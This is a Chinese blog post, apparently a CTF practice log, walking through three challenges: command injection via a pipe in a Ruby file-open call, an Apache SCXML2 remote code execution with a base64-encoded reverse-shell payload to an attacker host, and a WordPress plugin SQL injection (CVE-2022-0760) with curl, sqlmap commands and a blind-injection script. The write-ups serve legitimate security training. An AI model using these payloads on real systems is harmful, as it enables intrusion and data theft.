2025-8-1-复现

从今天开始,我想做个计划,搞个每日3题来督促自己训练,加油,今天是第一天。

1.[第五空间 2021]PNG图片转换器

拿到题先看看附件,是ruby语言

点击查看代码
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end
end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

分析代码
上传一个png图片
图片
然后用这个编码过得图片名称3676a736352600c63d6aea6fa2aef54b.png/convert去看看
图片

点击查询可见一个base64编码的内容,
图片
是上传的图片内容
有这个我们想是不是可以将shell写进文件中
这里我们利用反引号和管道符来写入
抓包修改
图片
用env命令来执行

file=|`echo ZW52 | base64 -d`>3676a736352600c63d6aea6fa2aef54b.png

图片
回到网页发现一大串base64的内容
解码拿到flag
图片

2.[HDCTF 2023]BabyJxVx

这题是Apache SCXML2 RCE漏洞
附件是jar包,用jd-gui打开
看到关键代码

点击查看代码
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
 
@Controller
public class Flagcontroller {
  private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = dbf.newDocumentBuilder();
    Document doc = builder.parse(fileName);
    int node1 = doc.getElementsByTagName("script").getLength();
    int node2 = doc.getElementsByTagName("datamodel").getLength();
    int node3 = doc.getElementsByTagName("invoke").getLength();
    int node4 = doc.getElementsByTagName("param").getLength();
    int node5 = doc.getElementsByTagName("parallel").getLength();
    int node6 = doc.getElementsByTagName("history").getLength();
    int node7 = doc.getElementsByTagName("transition").getLength();
    int node8 = doc.getElementsByTagName("state").getLength();
    int node9 = doc.getElementsByTagName("onentry").getLength();
    int node10 = doc.getElementsByTagName("if").getLength();
    int node11 = doc.getElementsByTagName("elseif").getLength();
    if (node1 > 0 || node2 > 0 || node3 > 0 || node4 > 0 || node5 > 0 || node6 > 0 || node7 > 0 || node8 > 0 || node9 > 0 || node10 > 0 || node11 > 0)
      return Boolean.valueOf(false); 
    return Boolean.valueOf(true);
  }
  
  @RequestMapping({"/"})
  public String index() {
    return "index";
  }
  
  @RequestMapping({"/Flag"})
  @ResponseBody
  public String Flag(@RequestParam(required = true) String filename) {
    SCXMLExecutor executor = new SCXMLExecutor();
    try {
      if (check(filename).booleanValue()) {
        SCXML scxml = SCXMLReader.read(filename);
        executor.setStateMachine(scxml);
        executor.go();
        return "Revenge to me!";
      } 
      System.out.println("nonono");
    } catch (Exception var5) {
      System.out.println(var5);
    } 
    return "revenge?";
  }
}

这里存在Apache SCXML2 RCE漏洞
我们发现filename的参数是可以控制的,然后有个SCXMLReader.read可读内容,通过构造恶意的xml文件来拿到shell
找找漏洞的poc,构造shell.xml

点击查看代码
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,base64_encode(bash -i >& /dev/tcp/ip/6666 0>&1)}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>

这里有个base64_encode(bash -i >& /dev/tcp/ip/6666 0>&1),意思需要读者自己用ip来构造base64代码。然后替换
例如,构造如下:

点击查看代码
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>

构造完后放到vps的root下,开启python服务
python3 -m http.server 8000
之后再开个进行监听
例如
nc -lvnp 2222
之后我们返回网页输入payload
/Flag?filename=http://your_ip:8000/shell.xml
之后反弹shell成功
图片
拿到flag

3.[HNCTF 2022 WEEK2]ohmywordpress

拿到题打开环境,是WordPress,用wappalyzer查看版本
图片
是WordPress6.02版本,查查有没有poc
找到CVE-2022-0760 漏洞,查看poc

图片
payload是

点击查看代码
curl 'http://example.com/wp-admin/admin-ajax.php' --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)'

这里我使用sqlmap来拿flag

点击查看代码
sqlmap -u "http://node5.anna.nssctf.cn:26297/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" --dbs
sqlmap -u "http://node5.anna.nssctf.cn:26297/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" -D ctftraining --tables
sqlmap -u "http://node5.anna.nssctf.cn:26297/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" -D ctftraining -T flag --dump

图片

拿到flag
当然也可用python写脚本,来写时间盲注

点击查看代码
import requests
import time


url = "http://node5.anna.nssctf.cn:26297/wp-admin/admin-ajax.php"

result = ""
for i in range(1, 100):
    length = len(result)
    for o in range(32, 128):

        data = {
            "action": "qcopd_upvote_action",
            # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
            # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
            "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={o},sleep(3),0))enz)",
        }

        time1 = time.time()

        res = requests.post(url, data=data)

        time2 = time.time()

        # print(time2 - time1)
        # exit()

        if time2 - time1 > 3:
            result += chr(o)
            print(result)
            break

    if len(result) == length:
        break

posted @ 2025-08-02 13:35  xinghe123*  阅读(17)  评论(0)    收藏  举报